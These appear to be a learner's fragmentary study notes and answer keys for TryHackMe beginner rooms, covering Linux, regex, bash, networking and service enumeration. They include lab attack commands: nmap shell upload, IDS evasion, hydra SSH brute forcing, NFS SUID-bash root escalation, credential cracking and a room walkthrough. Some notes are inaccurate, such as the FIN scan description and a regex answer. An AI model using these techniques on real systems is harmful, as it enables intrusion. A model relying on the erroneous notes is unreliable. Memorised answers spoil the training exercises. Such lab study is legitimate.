TryHackMe_1
Complete Beginner Introduction
Tutorial
Access machines via OpenVPN
Starting Out In Cyber Sec
What is the name of the career role that is legally employed to find vulnerabilities in applications?
penetration tester
What is the name of the role who’s job is to identify attacks against an organisation?
security analyst
Introductory Researching
As your experience level increases, you will find that the things you’re researching scale in their difficulty accordingly; however, in the field of information security, there will never come a point where you don’t need to look things up.
We will be looking at the following topics:
• An example of a research question
• Vulnerability Searching tools
• Linux Manual Pages
Learn how to use google.
You can find in three websites to exploit specific software.
In kali such as: searchsploit fuel cms
When you want to use a inbuilding tool in kali. You can use a command: man
.
Such as : man ssh
(but I like to use -h
)
Learn on google is the best way to learn.
Linux Fundamentals
Linux Fundamentals Part 1
Linux powers things such as:
- Websites that you visit
- Car entertainment/control panels
- Point of Sale (PoS) systems such as checkout tills and registers in shops
- Critical infrastructures such as traffic light controllers or industrial sensors
What year was the first release of a Linux operating system? 1991
echo”TryHackMe”
echo TryhackMe
whoami
ls
cd
cat
pwd
find -name passwords.txt
find -name *.txt
wc -l access.log //Using “wc” to count the number of entries in “access.log”——-244 access.log
grep “81.143.211.90” access.log
Symbol / Operator | Description |
---|---|
& | This operator allows you to run commands in the background of your terminal. |
&& | This operator allows you to combine multiple commands together in one line of your terminal.However, it’s worth noting that command2 will only run if command1 was successful. |
> | This operator is a redirector - meaning that we can take the output from a command (such as using cat to output a file) and direct it elsewhere. |
>> | This operator does the same function of the > operator but appends the output rather than replacing (meaning nothing is overwritten). |
echo password123 > passwords
echo tryhackme >> passowrds
Linux Fundamentals Part 2
Command | Full Name | Purpose |
---|---|---|
touch | touch | Create file |
mkdir | make directory | Create a folder |
cp | copy | Copy a file or folder |
mv | move | Move a file or folder |
rm | remove | Remove a file or folder |
file | file | Determine the type of a file |
Permissions
- Read
- Write
- Execute
-rwxrw-r–
-: file type
user group everyone
su users //user2@linux2:/home/tryhackme$
su -l user2 //user2@:/home/user2$ ( -l : –login)
https://upload-images.jianshu.io/upload_images/6943703-1f9b25194b773c5c.png
/etc
This root directory is one of the most important root directories on your system. The etc folder (short for etcetera) is a commonplace location to store system files that are used by your operating system.
For example, the sudoers file highlighted in the screenshot below contains a list of the users & groups that have permission to run sudo or a set of commands as the root user.
Also highlighted below are the “passwd“ and “shadow“ files. These two files are special for Linux as they show how your system stores the passwords for each user in encrypted formatting called sha512.
/var
The “/var” directory, with “var” being short for variable data, is one of the main root folders found on a Linux install. This folder stores data that is frequently accessed or written by services or applications running on the system. For example, log files from running services and applications are written here (/var/log), or other data that is not necessarily associated with a specific user (i.e., databases and the like).
/root
Unlike the /home directory, the /root folder is actually the home for the “root” system user. There isn’t anything more to this folder other than just understanding that this is the home directory for the “root” user. But, it is worth a mention as the logical presumption is that this user would have their data in a directory such as “/home/root“ by default.
/tmp
This is a unique root directory found on a Linux install. Short for “temporary“, the /tmp directory is volatile and is used to store data that is only needed to be accessed once or twice. Similar to the memory on your computer, once the computer is restarted, the contents of this folder are cleared out.
What’s useful for us in pentesting is that any user can write to this folder by default. Meaning once we have access to a machine, it serves as a good place to store things like our enumeration scripts.
Linux Fundamentals Part 3
nano
vim //use /abc
and ?abc
to find string “abc”
wget url
scp important.txt ubuntu@192.168.1.30:/home/ubuntu/transferred.txt //using ssh protocol to transfer
python3 -m http.server port
This module turns your computer into a quick and easy web server that you can use to serve your own files, where they can then be downloaded by another computing using commands such as curl
and wget
.
ps
Processes are the programs that are running on your machine. They are managed by the kernel, where each process will have an ID associated with it, also known as its PID. The PID increments for the order In which the process starts. I.e. the 60th process will have a PID of 60.
To see the processes run by other users and those that don’t run from a session (i.e. system processes), we need to provide aux to the ps
command like so: ps aux
Another great command to gain insight into your system is via the top
command
kill pid
Below are some of the signals that we can send to a process when it is killed:
- SIGTERM - Kill the process, but allow it to do some cleanup tasks beforehand
- SIGKILL - Kill the process - doesn’t do any cleanup after the fact
- SIGSTOP - Stop/suspend a process
systemctl start apache2
systemctl enable myservice
Ctrl + Z : we can use Ctrl + Z
on our keyboard to background a process.
fg : back to the foreground
crontab : cron jobs
https://crontab-generator.org/
A crontab is simply a special file with formatting that is recognised by the cron
process to execute each line step-by-step. Crontabs require 6 specific values:
Value | Description |
---|---|
MIN | What minute to execute at |
HOUR | What hour to execute at |
DOM | What day of the month to execute at |
MON | What month of the year to execute at |
DOW | What day of the week to execute at |
CMD | The actual command that will be executed. |
crontab -e : Crontabs can be edited by using crontab -e
, where you can select an editor (such as Nano) to edit your crontab.
apt install sublime-text
apt remove sublime-text
Regular expressions
Note 1: Don’t confuse strings with charsets. The charset [abc]
will match the string abc
, but also cba
and ca
. It doesn’t match the string, but rather every occurrence of the specified characters in that string.
Then, there is a way to exclude characters from a charset with the ^
hat symbol, and include everything else.[^k]ing
will match ring
, sing
, $ing
, but not king
.
Answer the questions below
Match all of the following characters: c, o, g
1 | [cog] |
Match all of the following words: cat, fat, hat
1 | [cfh]at |
Match all of the following words: Cat, cat, Hat, hat
1 | [CcHh]at |
Match all of the following filenames: File1, File2, file3, file4, file5, File7, file9
1 | [fF]ile[1-9] |
Match all of the filenames of question 4, except “File7” (use the hat symbol)
1 | [fF]ile[^7] |
The wildcard that is used to match any single character (except the line break) is the .
dot. That means that a.c
will match aac
, abc
, a0c
, a!c
, and so on.
Also, you can set a character as optional in your pattern using the ?
question mark. That means that abc?
will match ab
and abc
, since the c
is optional.Match all of the following words: Cat, fat, hat, rat
1 | .at |
Match all of the following words: Cat, cats
1 | [cC]ats? |
Match the following domain name: cat.xyz
1 | .cat\.xyz |
Match all of the following domain names: cat.xyz, cats.xyz, hats.xyz
1 | [ch]ats?\.xyz |
Match every 4-letter string that doesn’t end in any letter from n to z
1 | ...[^n-z] |
Match bat, bats, hat, hats, but not rat or rats (use the hat symbol)
1 | [^r]ats? |
There are easier ways to match bigger charsets. For example, \d
is used to match any single digit. Here’s a reference:\d
matches a digit, like 9
\D
matches a non-digit, like A
or @
\w
matches an alphanumeric character, like a
or 3
\W
matches a non-alphanumeric character, like !
or #
\s
matches a whitespace character (spaces, tabs, and line breaks)\S
matches everything else (alphanumeric characters and symbols)
Note: Underscores _
are included in the \w
metacharacter and not in \W
. That means that \w
will match every single character in test_file
.
{12}
- exactly 12 times.{1,5}
- 1 to 5 times.{2,}
- 2 or more times.*
- 0 or more times.+
- 1 or more times.
Match the following word: catssss
1 | cats{4} |
Match all of the following words (use the * sign): Cat, cats, catsss
1 | [cC]ats* |
Match all of the following sentences (use the + sign): regex go br, regex go brrrrrr
1 | regex go br+ |
Match all of the following filenames: ab0001, bb0000, abc1000, cba0110, c0000 (don’t use a metacharacter)
1 | [abc]{1,3}[01]{4} |
Match all of the following filenames: File01, File2, file12, File20, File99
1 | [fF]ile\d{1,2} |
Match all of the following folder names: kali tools, kali tools
1 | kali\s+tools |
Match all of the following filenames: notes~, stuff@, gtfob#, lmaoo!
1 | \w{5}\W |
Match the string in quotes (use the * sign and the \s, \S metacharacters): “2f0h@f0j0%! a)K!F49h!FFOK”
1 | \S*\s*\S* |
Match every 9-character string (with letters, numbers, and symbols) that doesn’t end in a “!” sign
1 | \S{8}[^!] |
Match all of these filenames (use the + symbol): .bash_rc, .unnecessarily_long_filename, and note1
1 | \.?\w+ //use ? to match . or not |
Sometimes it’s very useful to specify that we want to search by a certain pattern in the beginning or the end of a line. We do that with these characters:^
- starts with$
- ends with
Note: The ^
hat symbol is used to exclude a charset when enclosed in [
square brackets]
, but when it is not, it is used to specify the beginning of a word.
You can also define groups by enclosing a pattern in (
parentheses)
. This function can be used for many ways that are not in the scope of this tutorial. We will use it to define an either/ or pattern, and also to repeat patterns. To say “or” in Regex, we use the |
pipe.
For an “either/or” pattern example, the pattern during the (day|night)
will match both of these sentences: during the day
and during the night
.
For a repetition example, the pattern (no){5}
will match the sentence nonononono
.
Match every string that starts with “Password:” followed by any 10 characters excluding “0”
1 | ^Password:[^0]{10} |
Match “username: “ in the beginning of a line (note the space!)
1 | ^username:\s |
Match every line that doesn’t start with a digit (use a metacharacter)
1 | ^\d |
Match this string at the end of a line: EOF$
1 | EOF\$$ |
Match all of the following sentences:
- I use nano
- I use vim
1 | I use (nano|vim) |
Match all lines that start with $, followed by any single digit,
followed by $, followed by one or more non-whitespace characters
1 | ^\$\d\$\S+ |
Match every possible IPv4 IP address (use metacharacters and groups)
1 | (\d{1,3}\.){3}\d{1,3} |
Match all of these emails while also adding the username and the domain name (not the TLD) in separate groups (use \w): [hello@tryhackme.com](mailto:hello@tryhackme.com), [username@domain.com](mailto:username@domain.com), [dummy_email@xyz.com](mailto:dummy_email@xyz.com)
1 | (\w+)@(\w+)\.com |
Bash Scripting
A bash script always starts with the following line of code at the top of the script.
This is so your shell (whatever type of it) knows that it needs to run your file using bash in the terminal.
1 | #!/bin/bash |
This will return the string “Hello World”. The command “echo
” is used to output text to the screen, the same way as “print
” in python. I suggest you test this out in your terminal to get to grips with bash!
You can also perform normal Linux commands inside your bash script and it will be executed if formatted right. For example we can run the command “ls
” inside our bash script and we will see the output when we run the file. So lets make it do this!
1 | #!/bin/bash |
Now we are moving onto variables,
in bash these are quite simple and we create them like so:
1 | name="daigua" |
The section between set -x
and set +x
will be debugged
Lets start by declaring a parameter that is going to be our first argument when running our bash script.
1 | name=$1 |
./example.sh Alex
And sure enough we get returned with “Alex”
1 | #!/bin/bash |
How can we get the number of arguments supplied to a script?
1 | $# |
How can we get the filename of our current script(aka our first argument)?
1 | $0 |
How can we get the 4th argument supplied to the script?
1 | $4 |
If a script asks us for input how can we direct our input into a variable called ‘test’ using “read”
1 | read test //https://www.cnblogs.com/xiangzi888/archive/2012/03/27/2420084.html |
What will the output of “echo $1 $3” if the script was ran with “./script.sh hello hola aloha”
1 | hello aloha |
We have the variable name, in our case ‘transport’
We then wrap each item in brackets leaving a space between each item.
1 | transport=('car' 'train' 'bike' 'bus') |
We can then echo out all the elements in our array like this:
1 | echo "${transport[@]}" |
You can try this in your own terminal and see what it outputs.
Where the “@” means all arguments, and the [] wrapped around it specifies its index.
So what if we wanted to print out the item train
.
We would simply type:
1 | echo "${transport[1]}" |
because the train is at index position 1.
The last thing we will cover is if we want to change an element, or delete it. If we wanted to remove an element we would use the unset
utility.
1 | unset transport[1] |
This now removes the train
item, if we wanted to we could echo it back out and see that it is indeed gone,
Now lets set it to something else. We can do:
1 | transport[1]='trainride' |
If we echo the array then we get:
1 | car trainride bike bus |
As a little side project try building on your previous project of a biography maker, include arrays so that you can store multiple names and multiple facts about the person. Then in the next module we can expand even further.Given the array please answer the following questionscars=('honda' 'audi' 'bmw' 'tesla')
Answer the questions below
What would be the command to print audi to the screen using indexing.
1 | echo "${cars[1]}" |
If we wanted to remove tesla from the array how would we do so?
1 | unset cars[3] |
How could we insert a new value called toyota to replace tesla?
1 | cars[3]='toyota' |
We will make a simple “if” statement to check if a variable is equal to a value, we will also make a script that checks if a file exists and that it is writeable, if it is we will write a message to that file, if not writeable it will delete it and make a new one. A Lot of new things will be taught here so pay attention.
If statements always use a pair of brackets and in the case of the [] we need to leave a space on both sides of the text(the bash syntax). We also always need to end the if statement with fi
1 | #!/bin/bash |
Operator | Description |
---|---|
-eq | Checks if the value of two operands are equal or not; if yes, then the condition becomes true.———equal |
-ne | Checks if the value of two operands are equal or not; if values are not equal, then the condition becomes true.———-not equal |
-gt | Checks if the value of left operand is greater than the value of right operand; if yes, then the condition becomes true.————–greater than |
-lt | Checks if the value of left operand is less than the value of right operand; if yes, then the condition becomes true.————-less than |
-ge | Checks if the value of left operand is greater than or equal to the value of right operand; if yes, then the condition becomes true.—————–greater or equal |
Now let’s create another script where we will use 2 conditions simultaneously and coming back to a concept we learnt in the first lesson.
Let’s begin.
We want to make a script that we will perform on a file given by a parameter.
We then check if it exists and if it has write permissions. If it has write perms then we echo “hello” to it. If it is either non-accessible or doesn’t exist we will create the file and echo “hello” to it. Let’s begin!
1 | #!/bin/bash |
The -f checked if the file existed.
The -w checked if the file was writable, without write permissions we wouldn’t be able to output our text into the file.
What is the flag to check if we have read access to a file?
1 | -r |
What is the flag to check to see if it’s a directory?
1 | -d |
https://www.cyberciti.biz/faq/bash-for-loop/
Network Exploitation Basics
Introductory Networking
Anxious Pale Shakespeare Treated Nervous Drunks Patiently.
1 | Application |
Which layer would choose to send data over TCP or UDP?
1 | 4 |
Which layer checks received packets to make sure that they haven’t been corrupted?
1 | 2 |
In which layer would data be formatted in preparation for transmission?
1 | 2 |
Which layer transmits and receives data?
1 | 1 |
Which layer encrypts, compresses, or otherwise transforms the initial data to give it a standardised format?
1 | 6 |
Which layer tracks communications between the host and receiving computers?
1 | 5 |
Which layer accepts communication requests from applications?
1 | 7 |
Which layer handles logical addressing?
1 | 3 |
When sending data over TCP, what would you call the “bite-sized” pieces of data?
1 | segments //USP----datagrams |
[Research] Which layer would the FTP protocol communicate with?
1 | 7 |
Which transport layer protocol would be best suited to transmit a live video?
1 | UDP |
How would you refer to data at layer 2 of the encapsulation process (with the OSI model)?
1 | Frames |
How would you refer to data at layer 4 of the encapsulation process (with the OSI model), if the UDP protocol has been selected?
1 | Datagrams |
What process would a computer perform on a received message?
1 | De-encapsulation |
Which is the only layer of the OSI model to add a trailer during encapsulation?
1 | Data Link |
Does encapsulation provide an extra layer of security (Aye/Nay)?
1 | Aye |
Which model was introduced first, OSI or TCP/IP?
1 | TCP/IP |
Which layer of the TCP/IP model covers the functionality of the Transport layer of the OSI model (Full Name)?
1 | Transport |
Which layer of the TCP/IP model covers the functionality of the Session layer of the OSI model (Full Name)?
1 | Application |
The Network Interface layer of the TCP/IP model covers the functionality of two layers in the OSI model. These layers are Data Link, and?.. (Full Name)?
1 | Physical |
Which layer of the TCP/IP model handles the functionality of the OSI network layer?
1 | Internet |
What kind of protocol is TCP?
1 | connection-based |
What is SYN short for?
1 | synchronise |
What is the second step of the three way handshake?
1 | SYN/ACK |
What is the short name for the “Acknowledgement” segment in the three-way handshake?
1 | ACK |
ping : Network layer of the OSI Model
ping -h / man ping
traceroute
The logical follow-up to the ping command is ‘traceroute’. Traceroute can be used to map the path your request takes as it heads to the target machine.
whois
dig google.com @1.1.1.1
Nmap
ps : -sC -sV -A
What networking constructs are used to direct traffic to the right application on a server?
1 | ports |
How many of these are available on any network-enabled computer?
1 | 65535 |
[Research] How many of these are considered “well-known”? (These are the “standard” numbers mentioned in the task)
1 | 1024 |
-sT //TCP
-sS //SYN,faster,root,make service down
Half-open,Stealth
-sU //UDP,difficult to identify whether a UDP port is actually open,always restrict the number of ports
1 | nmap -sU --top-ports 20 <target> |
NULL, FIN and Xmas TCP port scans are less commonly used than any of the others we’ve covered already, so we will not go into a huge amount of depth here. All three are interlinked and are used primarily as they tend to be even stealthier, relatively speaking, than a SYN “stealth” scan. Beginning with NULL scans:
-sN //sent with no flags set at all
-sF //sending a completely empty packet
-sX //send a malformed TCP packet
1 | nmap -sn 192.168.0.1-254 |
The -sn
switch tells Nmap not to scan any ports – forcing it to rely primarily on ICMP echo packets (or ARP requests on a local network, if run with sudo or directly as the root user) to identify targets. In addition to the ICMP echo requests, the -sn
switch will also cause nmap to send a TCP SYN packet to port 443 of the target, as well as a TCP ACK (or TCP SYN if not run as root) packet to port 80 of the target.
The Nmap Scripting Engine (NSE) is an incredibly powerful addition to Nmap, extending its functionality quite considerably. NSE Scripts are written in the Lua programming language, and can be used to do a variety of things: from scanning for vulnerabilities, to automating exploits for them. The NSE is particularly useful for reconnaisance, however, it is well worth bearing in mind how extensive the script library is.
There are many categories available. Some useful categories include:
safe
:- Won’t affect the targetintrusive
:- Not safe: likely to affect the targetvuln
:- Scan for vulnerabilitiesexploit
:- Attempt to exploit a vulnerabilityauth
:- Attempt to bypass authentication for running services (e.g. Log into an FTP server anonymously)brute
:- Attempt to bruteforce credentials for running servicesdiscovery
:- Attempt to query running services for further information about the network (e.g. query an SNMP
1 | nmap -p 80 --script http-put --script-args http-put.url='/dav/shell.php',http-put.file='./shell.php' |
1 | nmap --script-help=ftp-anon.nse |
1 | /usr/share/nmap/scripts |
-Pn
We have already seen some techniques for bypassing firewalls (think stealth scans, along with NULL, FIN and Xmas scans); however, there is another very common firewall configuration which it’s imperative we know how to bypass.
Your typical Windows host will, with its default firewall, block all ICMP packets. This presents a problem: not only do we often use ping to manually establish the activity of a target, Nmap does the same thing by default. This means that Nmap will register a host with this firewall configuration as dead and not bother scanning it at all.
The following switches are of particular note:
-f
:- Used to fragment the packets (i.e. split them into smaller pieces) making it less likely that the packets will be detected by a firewall or IDS.- An alternative to
-f
, but providing more control over the size of the packets:--mtu <number>
, accepts a maximum transmission unit size to use for the packets sent. This must be a multiple of 8. --scan-delay <time>ms
:- used to add a delay between packets sent. This is very useful if the network is unstable, but also for evading any time-based firewall/IDS triggers which may be in place.--badsum
:- this is used to generate in invalid checksum for packets. Any real TCP/IP stack would drop this packet, however, firewalls may potentially respond automatically, without bothering to check the checksum of the packet. As such, this switch can be used to determine the presence of a firewall/IDS.
Network Services
SMB - Server Message Block Protocol - is a client-server communication protocol used for sharing access to files, printers, serial ports and other resources on a network. [source]
Servers make file systems and other resources (printers, named pipes, APIs) available to clients on the network. Client computers may have their own hard disks, but they also want access to the shared file systems and printers on the servers.
The SMB protocol is known as a response-request protocol, meaning that it transmits multiple messages between the client and server to establish a connection. Clients connect to servers using TCP/IP (actually NetBIOS over TCP/IP as specified in RFC1001 and RFC1002), NetBEUI or IPX/SPX.
What does SMB stand for?
1 | Server Message Block |
What type of protocol is SMB?
1 | response-request |
What do clients connect to servers using?
1 | tcp/ip |
What systems does Samba run on?
1 | unix |
SMB
Typically, there are SMB share drives on a server that can be connected to and used to view or transfer files. SMB can often be a great starting point for an attacker looking to discover sensitive information — you’d be surprised what is sometimes included on these shares.
Enum4Linux
Enum4linux is a tool used to enumerate SMB shares on both Windows and Linux systems. It is basically a wrapper around the tools in the Samba package and makes it easy to quickly extract information from the target pertaining to SMB. It’s installed by default on Parrot and Kali, however if you need to install it, you can do so from the official github.
The syntax of Enum4Linux is nice and simple: “enum4linux [options] ip”
TAG FUNCTION
-U get userlist
-M get machine list
-N get namelist dump (different from -U and-M)
-S get sharelist
-P get password policy information
-G get group and member list
-a all of the above (full basic enumeration)
Now we understand our enumeration tools, let’s get started!
**Types of SMB Exploit
**
While there are vulnerabilities such as CVE-2017-7494 that can allow remote code execution by exploiting SMB, you’re more likely to encounter a situation where the best way into a system is due to misconfigurations in the system. In this case, we’re going to be exploiting anonymous SMB share access- a common misconfiguration that can allow us to gain information that will lead to a shell.
Method Breakdown
So, from our enumeration stage, we know:
- The SMB share location
- The name of an interesting SMB share
SMBClient
Because we’re trying to access an SMB share, we need a client to access resources on servers. We will be using SMBClient because it’s part of the default samba suite. While it is available by default on Kali and Parrot, if you do need to install it, you can find the documentation here.
We can remotely access the SMB share using the syntax:
1 | smbclient //[IP]/[SHARE] |
Followed by the tags:
-U [name] : to specify the user
-p [port] : to specify the port
1 | enum4linux 10.10.56.29 |
What is Telnet?
Telnet is an application protocol which allows you, with the use of a telnet client, to connect to and execute commands on a remote machine that’s hosting a telnet server.
The telnet client will establish a connection with the server. The client will then become a virtual terminal- allowing you to interact with the remote host.
Replacement
Telnet sends all messages in clear text and has no specific security mechanisms. Thus, in many applications and services, Telnet has been replaced by SSH in most implementations.
*How does Telnet work?*
The user connects to the server by using the Telnet protocol, which means entering “telnet” into a command prompt. The user then executes commands on the server by using specific Telnet commands in the Telnet prompt. You can connect to a telnet server with the following syntax: “telnet [ip] [port]”
Let’s start out the same way we usually do, a port scan, to find out as much information as we can about the services, applications, structure and operating system of the target machine. Scan the machine with nmap.
-A
: 启用操作系统检测、版本检测、脚本扫描和 Traceroute 合而为一-p-
:启用扫描所有端口,而不仅仅是前 1000 个
Telnet, being a protocol, is in and of itself insecure for the reasons we talked about earlier. It lacks encryption, so sends all communication over plaintext, and for the most part has poor access control. There are CVE’s for Telnet client and server systems, however, so when exploiting you can check for those on:
So, from our enumeration stage, we know:
- There is a poorly hidden telnet service running on this machine
- The service itself is marked “backdoor”
- We have possible username of “Skidy” implicated
Using this information, let’s try accessing this telnet port, and using that as a foothold to get a full reverse shell on the machine!
1 | nmap -A -p-v 10.10.43.169 |
FTP
The FTP server may support either Active or Passive connections, or both.
- In an Active FTP connection, the client opens a port and listens. The server is required to actively connect to it.
- In a Passive FTP connection, the server opens a port and listens (passively) and the client connects to it.
This separation of command information and data into separate channels is a way of being able to send commands to the server without having to wait for the current data transfer to finish. If both channels were interlinked, you could only enter commands in between data transfers, which wouldn’t be efficient for either large file transfers, or slow internet connections.
1 | nmap -sS -v 10.10.53.228 |
Similarly to Telnet, when using FTP both the command and data channels are unencrypted. Any data sent over these channels can be intercepted and read.
When looking at an FTP server from the position we find ourselves in for this machine, an avenue we can exploit is weak or default password configurations.
1 | Hydra |
1 | gzip -d /usr/share/wordlists/rockyou.txt.gz |
Network Services2
NFS : NFS stands for “Network File System” and allows a system to share directories and files with others over a network.————default port : 2049
https://docs.oracle.com/cd/E19683-01/816-4882/6mb2ipq7l/index.html
If someone wants to access a file using NFS, an RPC call is placed to NFSD (the NFS daemon) on the server. This call takes parameters such as:
- The file handle
- The name of the file to be accessed
- The user’s, user ID
- The user’s group ID
These are used in determining access rights to the specified file.
Benefits : Apart from allowing local access to remote files, NFS is most notable for its host authentication, it’s simple to do and makes it possible to connect to another service using an IP address only.
https://www.datto.com/blog/what-is-nfs-file-share
https://wiki.archlinux.org/index.php/NFS
What does NFS stand for?
1 | Network File System |
What process allows an NFS client to interact with a remote directory as though it was a physical device?
1 | mount |
What does NFS use to represent files and directories on the server?
1 | file handle |
What protocol does NFS use to communicate between the server and client?
1 | RPC |
What two pieces of user data does the NFS server take as parameters for controlling user permissions? Format: parameter 1 / parameter 2
1 | user id/group id |
Can a Windows NFS server share files with a Linux client? (Y/N)
1 | Y |
Can a Linux NFS server share files with a MacOS client? (Y/N)
1 | Y |
What is the latest version of NFS? [released in 2016, but is still up to date as of 2020] This will require external research.
1 | 4.2 |
nfs-common //sudo apt install nfs-common
Mounting NFS shares
1 | /usr/sbin/showmount -e 10.10.230.217 ///home |
Tag | Function |
---|---|
sudo | Run as root |
mount | Execute the mount command |
-t nfs | Type of device to mount, then specifying that it’s NFS |
IP:share | The IP Address of the NFS server, and the name of the share we wish to mount |
-nolock | Specifies not to use NLM locking |
1 | cd /tmp/mount |
NFS Access ->
Gain Low Privilege Shell ->
Upload Bash Executable to the NFS share ->
Set SUID Permissions Through NFS Due To Misconfigured Root Squash ->
Login through SSH ->
Execute SUID Bit Bash Executable ->
ROOT ACCESS
First, change directory to the mount point on your machine, where the NFS share should still be mounted, and then into the user’s home directory.
Download the bash executable to your Downloads directory. Then use “cp ~/Downloads/bash .” to copy the bash executable to the NFS share. The copied bash shell must be owned by a root user, you can set this using “sudo chown root bash”
Now, we’re going to add the SUID bit permission to the bash executable we just copied to the share using “sudo chmod +[permission] bash”. What letter do we use to set the SUID bit set using chmod?
1 | s //s 在文件执行时把进程的属主或组ID置为该文件的文件属主。方式“u+s”设置文件的用户ID位,“g+s”设置组ID位。 |
Let’s do a sanity check, let’s check the permissions of the “bash” executable using “ls -la bash”. What does the permission set look like? Make sure that it ends with -sr-x.
1 | -rwsr-sr-x |
Now, SSH into the machine as the user. List the directory to make sure the bash executable is there. Now, the moment of truth. Lets run it with “./bash -p“. The -p persists the permissions, so that it can run as root with SUID- as otherwise bash will sometimes drop the permissions.
1 | wget https://github.com/polo-sec/writing/raw/master/Security%20Challenge%20Walkthroughs/Networks%202/bash |
SMTP————-default port : 25
The SMTP server performs three basic functions:
- It verifies who is sending emails through the SMTP server.
- It sends the outgoing mail
- If the outgoing mail can’t be delivered it sends the message back to the sender
POP and IMAP
POP, or “Post Office Protocol” and IMAP, “Internet Message Access Protocol” are both email protocols who are responsible for the transfer of email between a client and a mail server. The main differences is in POP’s more simplistic approach of downloading the inbox from the mail server, to the client. Where IMAP will synchronise the current inbox, with new mail on the server, downloading anything new. This means that changes to the inbox made on one computer, over IMAP, will persist if you then synchronise the inbox from another computer. The POP/IMAP server is responsible for fulfiling this process.
https://computer.howstuffworks.com/e-mail-messaging/email3.htm
https://www.afternerd.com/blog/smtp/
What does SMTP stand for?
1 | Simple Mail Transfer Protrol |
What does SMTP handle the sending of? (answer in plural)
1 | emails |
What is the first step in the SMTP process?
1 | SMTP handshake |
What is the default SMTP port?
1 | 25 |
Where does the SMTP server send the email if the recipient’s server is not available?
1 | SMTP queue |
On what server does the Email ultimately end up on?
1 | POP/IMAP |
Can a Linux machine run an SMTP server? (Y/N)
1 | Y |
Can a Windows machine run an SMTP server? (Y/N)
1 | Y |
Enumerating Server Details
Poorly configured or vulnerable mail servers can often provide an initial foothold into a network, but prior to launching an attack, we want to fingerprint the server to make our targeting as precise as possible. We’re going to use the “smtp_version“ module in MetaSploit to do this. As its name implies, it will scan a range of IP addresses and determine the version of any mail servers it encounters.
Enumerating Users from SMTP
The SMTP service has two internal commands that allow the enumeration of users: VRFY (confirming the names of valid users) and EXPN (which reveals the actual address of user’s aliases and lists of e-mail (mailing lists). Using these SMTP commands, we can reveal a list of valid users
We can do this manually, over a telnet connection- however Metasploit comes to the rescue again, providing a handy module appropriately called “smtp_enum“ that will do the legwork for us! Using the module is a simple matter of feeding it a host or range of hosts to scan and a wordlist containing usernames to enumerate.
Of course , you can use other tools , such as smtp-user-enum
etc.
1 | msfconsole |
We’re going to be using the “top-usernames-shortlist.txt” wordlist from the Usernames subsection of seclists (/usr/share/wordlists/SecLists/Usernames if you have it installed).
Seclists is an amazing collection of wordlists. If you’re running Kali or Parrot you can install seclists with: “sudo apt install seclists” Alternatively, you can download the repository from here.
1 | /usr/share/seclists |
1 | hydra -t 16 -l USERNAME -P /usr/share/wordlists/rockyou.txt -vV MACHINE_IP ssh |
MYSQL
Metasploit : mysql_sql mysql_schemadump
https ://nmap.org/nsedoc/ scripts/mysql-enum.html
https://www.exploit-db.com/exploits/23081
1 | mysql -h [IP] -u [username] -p |
Web Hacking Fundamentals
HTTP
HTTPS : Hyper Text Transfer Protocol Secure
200 - OK | The request was completed successfully. |
---|---|
201 - Created | A resource has been created (for example a new user or new blog post). |
301 - Permanent Redirect | This redirects the client’s browser to a new webpage or tells search engines that the page has moved somewhere else and to look there instead. |
302 - Temporary Redirect | Similar to the above permanent redirect, but as the name suggests, this is only a temporary change and it may change again in the near future. |
400 - Bad Request | This tells the browser that something was either wrong or missing in their request. This could sometimes be used if the web server resource that is being requested expected a certain parameter that the client didn’t send. |
401 - Not Authorised | You are not currently allowed to view this resource until you have authorised with the web application, most commonly with a username and password. |
403 - Forbidden | You do not have permission to view this resource whether you are logged in or not. |
405 - Method Not Allowed | The resource does not allow this method request, for example, you send a GET request to the resource /create-account when it was expecting a POST request instead. |
404 - Page Not Found | The page/resource you requested does not exist. |
500 - Internal Service Error | The server has encountered some kind of error with your request that it doesn’t know how to handle properly. |
503 - Service Unavailable | This server cannot handle your request as it’s either overloaded or down for maintenance. |
Host: Some web servers host multiple websites so by providing the host headers you can tell it which one you require, otherwise you’ll just receive the default website for the server.
User-Agent: This is your browser software and version number, telling the web server your browser software helps it format the website properly for your browser and also some elements of HTML, JavaScript and CSS are only available in certain browsers.
Content-Length: When sending data to a web server such as in a form, the content length tells the web server how much data to expect in the web request. This way the server can ensure it isn’t missing any data.
Accept-Encoding: Tells the web server what types of compression methods the browser supports so the data can be made smaller for transmitting over the internet.
Cookie: Data sent to the server to help remember your information (see cookies task for more information).
Common Response Headers
These are the headers that are returned to the client from the server after a request.
Set-Cookie: Information to store which gets sent back to the web server on each request (see cookies task for more information).
Cache-Control: How long to store the content of the response in the browser’s cache before it requests it again.
Content-Type: This tells the client what type of data is being returned, i.e., HTML, CSS, JavaScript, Images, PDF, Video, etc. Using the content-type header the browser then knows how to process the data.
Content-Encoding: What method has been used to compress the data to make it smaller when sending it over the internet.
Burp Suite
Ctrl + Shift + D |
Switch to the Dashboard |
---|---|
Ctrl + Shift + T |
Switch to the Target tab |
Ctrl + Shift + P |
Switch to the Proxy tab |
Ctrl + Shift + I |
Switch to the Intruder tab |
Ctrl + Shift + R |
Switch to the Repeater tab |
OWASP Top 10
https://blog.csdn.net/dearsq/article/details/52586320
Pickle Rick
username : R1ckRul3s
python3 dirsearch.py -u http://10.10.190.132/
http://10.10.190.132/robots.txt
password : Wubbalubbadubdub
http://10.10.190.132/login.php
flag1 : http://10.10.190.132/Sup3rS3cretPickl3Ingred.txt
less /home/rick/second\ ingredients
flag2 : less /home/rick/second\ ingredients
flag3 : sudo less /root/3rd.txt
Cryptography
Hashing-Crypto 101
encryption / encoding
1 | rainbow table website: |
https://cloud.tencent.com/developer/news/173974
MD5 : https://www.mscs.dal.ca/~selinger/md5collision/
SHA1 : https://shattered.io/
What is the output size in bytes of the MD5 hash function?
1 | 16 |
Can you avoid hash collisions? (Yea/Nay)
1 | Nay |
If you have an 8 bit hash output, how many possible hashes are there?
1 | 256 |
Here’s a quick table of the most Unix style password prefixes that you’ll see.
Prefix | Algorithm |
---|---|
$1$ | md5crypt, used in Cisco stuff and older Linux/Unix systems |
$2$, $2a$, $2b$, $2x$, $2y$ | Bcrypt (Popular for web applications) |
$6$ | sha512crypt (Default for most Linux/Unix systems) |
more : https://hashcat.net/wiki/doku.php?id=example_hashes
1 | $2a$06$7yoU3Ng8dHTXphAg913cyO6Bjs3K5lBnwq5FJyA6d01pMSrddr1ZG |
John The Ripper
john –list=formats | grep -iF “ntlm”
hash
1 | hashid '2e728dd31fb5949bc39cac5a9f066498' |
/etc/shadow Hashes
1 | echo root:x:0:0::/root:/bin/bash >1.txt |
Single Crack Mode
The best way to show what Single Crack mode is, and what word mangling is, is to actually go through an example:
If we take the username: Markus
Some possible passwords could be:
